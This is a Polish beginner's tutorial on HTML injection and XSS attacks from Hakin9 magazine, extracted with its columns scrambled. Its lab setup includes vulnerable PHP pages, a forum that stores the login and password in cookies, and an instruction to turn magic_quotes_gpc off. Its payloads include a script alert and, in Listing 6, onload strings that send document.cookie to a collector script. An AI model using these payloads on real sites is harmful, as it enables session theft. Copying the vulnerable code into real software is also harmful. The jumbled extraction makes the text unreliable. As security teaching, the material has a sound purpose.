inject pl


Ataki
HTML
injection
Brandon Petty
Artykuł opublikowany w numerze 1/2004 magazynu  Hakin9
Wszelkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie artykułu
dozwolone pod warunkiem zachowania jego obecnej formy i treści.
Magazyn  Hakin9 , Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, piotr@software.com.pl
Ataki HTML injection
Brandon Petty
Ataki HTML injection polegają
na przesłaniu stronie, która
oczekuje od nas danych
w postaci czystego tekstu,
ciągu zawierającego specjalnie
spreparowany kod HTML.
Co możemy w ten sposób
osiągnąć?
rzyjrzyjmy się stronie, której kod music = < script > aler t ( 'hakin9' )< /script >.
zródłowy przedstawiony jest na Listin- Na ekranie pojawia się okienko dialogowe
Pgach 1i 2 (http://127.0.0.1/inject/html_ex. z napisem hakin9. Ciekawe, prawda? Obej-
html). Wygląda prosto, prawda? W formu- rzyjmy zródło strony, która się wyświetliła
larzu wybieramy interesujący nas format (Listing 3).
(MP3, OGG lub WAV) i klikamy OK. War- Jak widać PHP uwierzył, że ciąg podany
tość zmiennej music przesyłana jest do strony przez nas w adresie jest przesłany przez for-
html_ex.php: mularz (metodą GET) i wstawił go w wysłany
przeglądarce kod HTML. Znacznik . Efekt powinien być
czy linijka:
identyczny jak w poprzednim przy-

setcookie("mylogin",$_POST['login']); padku. Zajrzyjmy do zródeł wyświe-
setcookie("mypaswd",$_POST['paswd']); tlonej strony, znajdziemy w nich
u ciebie nie wygląda tak:
linijkę:
Dzięki temu przy kolejnych odwiedzi-

danych drugi raz. Po wysłaniu co- image.jpg"> spowodował  tak samo
więc wypróbować działanie opisanych
rum obrazka. Na stronie tej znajduje jak w poprzednim przykładzie  wy-
w artykule ataków ustaw ją na mniej
się prosty formularz, w który wpisuje- świetlenie okna dialogowego.
bezpieczną wartość:
my link do pliku graficznego. Po wci-
Przykład zastosowania
śnięciu przycisku link przesyłany jest
magic_quotes_gpc=Off
do skryptu, który umieszcza go w ba- techniki XSS
zie danych i wyświetla. No tak  ale generowanie wyskaku-
jących okienek to trochę zbyt mało,
Listing 2. Ciąg dalszy strony podatnej na atak HTML injection  plik
html_ex.php
Listing 3. yródło strony, która
wyświetla się po wpisaniu
adresu http://127.0.0.1/inject/
/* Upewnij się, że w pliku php.ini ustawione jest
html_ex.php?music=
*/
error_reporting (E_ALL ^ E_NOTICE);
$myURL = $_REQUEST[music];
?> Prosty przykład
Prosty przykład








Wybrałeś:

Twój wybór:





Hakin9 Nr 1/2004 www.hakin9.org
3
Rysunek 1. Strona z Listingów 1 i 2  działanie zwykłe i wymuszone przez hakera wyświetlenie wyskakującego
okienka
by mówić o hakerstwie. Spróbujmy skutek, nasz kod musi być umiesz-  wystarczy wykorzystać dowolne fo-
zrobić coś bardziej ambitnego. czony na stronie, którą ogląda wie- rum. Ważną cechą forum z poprzed-
Przede wszystkim  aby atak le osób. Jak widzieliśmy w poprzed- niego przykładu jest też fakt, że kie-
HTML injection odniósł poważny nim przykładzie nie jest to trudne dy internauta loguje się, jego nazwa
Listing 4. Dziurawe forum  xss_ex.php
if ($_SERVER['REQUEST_METHOD'] == "POST") {
setcookie("mylogin",$_POST['login']);
setcookie("mypaswd",$_POST['paswd']);
header("Location: exploit.php");
}
if ($_COOKIE['mylogin'] || $_COOKIE['mypasswd']) {
echo("
Już jesteś zalogowany
");
}
else
{
?>






HTML Injection Demo

Login:

Paswd:





...
4 www.hakin9.org Hakin9 Nr 1/2004
Dla początkujących
Ataki HTML injection
Tabela 1. Wybrane znaki ASCII
i odpowiadające im kody szes-
Konwersja znaków ASCII na symbole szesnastkowe
Spójrzmy na dwa poniższe odnośniki: nastkowe
" http://127.0.0.1/inject/html_ex.php?music=
szesnastkowy
" http://127.0.0.1/inject/html_ex.php?music=
! %21
%3Cscript%3Ealert%28%27hakin9%27%29%3C%2Fscript%3E
 %22
Warto wiedzieć, że oba prowadzą w to samo miejsce. To proste  znak < nosi w ASCII
# %23
numer 3C (szesnastkowo), więc zamiast pisać
$SQL_String = "SELECT User.Link FROM User";
$SQL_String .= " Where(User.Login = 'root');";
Spowoduje to wyświetlenie okienka
$rs = mysql_query ($SQL_String) or die ($SQL_String);
z napisem:
if ($row = mysql_fetch_object ($rs))
mylogin=root; mypasswd=demo
{
echo "Link\">\n";
}
Jak widać zmienna document.cookie
else
przechowuje wartość cookies dla
{
strony, na której się znajdujemy. Jed-
echo "Błąd!!\n";
nak nam nie chodzi o to, żeby każ-
}
... dy użytkownik zobaczył swoje dane
 chcemy, żeby te dane zostały prze-
Hakin9 Nr 1/2004 www.hakin9.org
5
Listing 6. Przykładowe ciągi, których wpisanie w okienku wyboru obrazka spowoduje wysłanie intruzowi
zawartości cookies
" image.jpg" width="0" height="0" name="hia" onload="hia.src='http://127.0.0.1/inject/
cookie.php?cookie='+document.cookie;
" ./image.jpg" name="hia" onload="hia.src='http://127.0.0.1/inject/cookie.php?cookie='%2Bdocument.cookie;">